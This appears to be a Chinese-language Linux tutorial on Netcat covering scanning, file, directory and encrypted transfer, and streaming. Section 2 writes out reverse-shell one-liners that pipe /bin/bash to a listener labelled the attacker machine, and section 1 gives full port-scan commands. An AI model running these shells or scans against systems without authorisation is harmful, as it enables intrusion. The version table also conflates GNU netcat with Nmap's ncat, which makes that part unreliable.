Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

Linux Netcat 進階用法:端口掃描、文件傳輸、加密通訊與流媒體

編輯:Linux 教學

Netcat (nc) 被譽為網絡工具界的「瑞士軍刀」,本文系統梳理其核心實戰場景,包含端口掃描、Banner 抓取、聊天服務、文件/目錄傳輸、加密通訊及流媒體傳輸。

參數速查表

參數說明
-l監聽模式 (服務端)
-p指定端口
-z零 I/O 掃描模式
-v詳細輸出
-n禁用 DNS 解析
-uUDP 模式
-k持續監聽 (斷開後繼續)
-w連接超時秒數

1. 端口掃描與服務識別

# TCP 全端口掃描 (1-65535)
nc -z -v -n 192.168.1.100 1-65535

# UDP 掃描
nc -z -v -u -n 192.168.1.100 53,67,123,161

# Banner 抓取
nc -v 192.168.1.100 22
nc -v 192.168.1.100 80
HEAD / HTTP/1.0
# 發送 HTTP 請求獲取服務器信息

2. 簡易聊天/反向 Shell

正向連接

# 服務端
nc -l -p 4444

# 客戶端
nc 192.168.1.100 4444

反向連接 (穿透 NAT/防火牆)

# 攻擊機/控制端 監聽
nc -l -p 4444

# 目標機 發起連接並執行 Shell
nc 192.168.1.100 4444 -e /bin/bash
# 注:-e 參數需 nc 版本支持 (傳統版/netcat-openbsd 無,GNU 版有)
# 通用替代方案:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f

3. 文件傳輸 (支持斷點續傳邏輯)

基礎傳輸

# 發送端 (服務端)
nc -l -p 5555 < file.tar.gz

# 接收端
nc 192.168.1.100 5555 > file.tar.gz

帶進度條傳輸 (配合 pv)

# 發送
pv file.tar.gz | nc -l -p 5555

# 接收
nc 192.168.1.100 5555 | pv > file.tar.gz

4. 目錄傳輸 (tar + 壓縮)

# 服務端: 打包壓縮並發送
tar czf - /path/to/dir | nc -l -p 5555

# 客戶端: 接收解壓
nc 192.168.1.100 5555 | tar xzf - -C /target/path

# 高壓縮比 (xz)
tar cJf - /path/to/dir | nc -l -p 5555
nc 192.168.1.100 5555 | tar xJf -

5. 加密通訊 (OpenSSL / GPG)

OpenSSL AES-256-CBC

# 服務端: 解密接收
nc -l -p 5555 | openssl enc -d -aes-256-cbc -pass pass:YourPassword > file.txt

# 客戶端: 加密發送
openssl enc -aes-256-cbc -pass pass:YourPassword -in file.txt | nc 192.168.1.100 5555

GPG 對稱加密

# 服務端
nc -l -p 5555 | gpg --decrypt --batch --passphrase YourPassword > file.txt

# 客戶端
gpg --symmetric --batch --passphrase YourPassword -c file.txt | nc 192.168.1.100 5555

6. 流媒體/實時數據傳輸

# 視頻流發送
cat video.mp4 | nc -l -p 5555

# 實時播放 (需播放器支持管道)
nc 192.168.1.100 5555 | mpv --cache=8192 -

# 音頻流
arecord -f cd -t raw | nc -l -p 5555
nc 192.168.1.100 5555 | aplay -f cd -t raw

7. 實用組合技巧

  • HTTP 服務器:while true; do nc -l -p 8080 < index.html; done
  • 端口轉發:nc -l -p 8080 | nc 192.168.1.200 80
  • 服務健康檢查:echo -e "GET / HTTP/1.0\n\n" | nc -w 2 192.168.1.100 80
  • 獲取公網 IP:curl -s ifconfig.me (非 nc,但常配合使用)

版本差異說明

總結

Netcat 以「任意 TCP/UDP 讀寫」為核心,配合 Shell 重定向、管道、加密工具,可構建無數網絡工具。掌握版本差異、核心參數與組合模式,是運維/安全從業者必備技能。

Copyright © Windows教程網 All Rights Reserved
版本套件名特點
傳統版netcat-traditional支持 -e 選項,功能較少
OpenBSD 版netcat-openbsd默認安裝,無 -e,支持 -k、-q、Unix 域套接字
GNU 版netcat (ncat)Nmap 套件,支持 SSL、代理、-e、--broker 等高級功能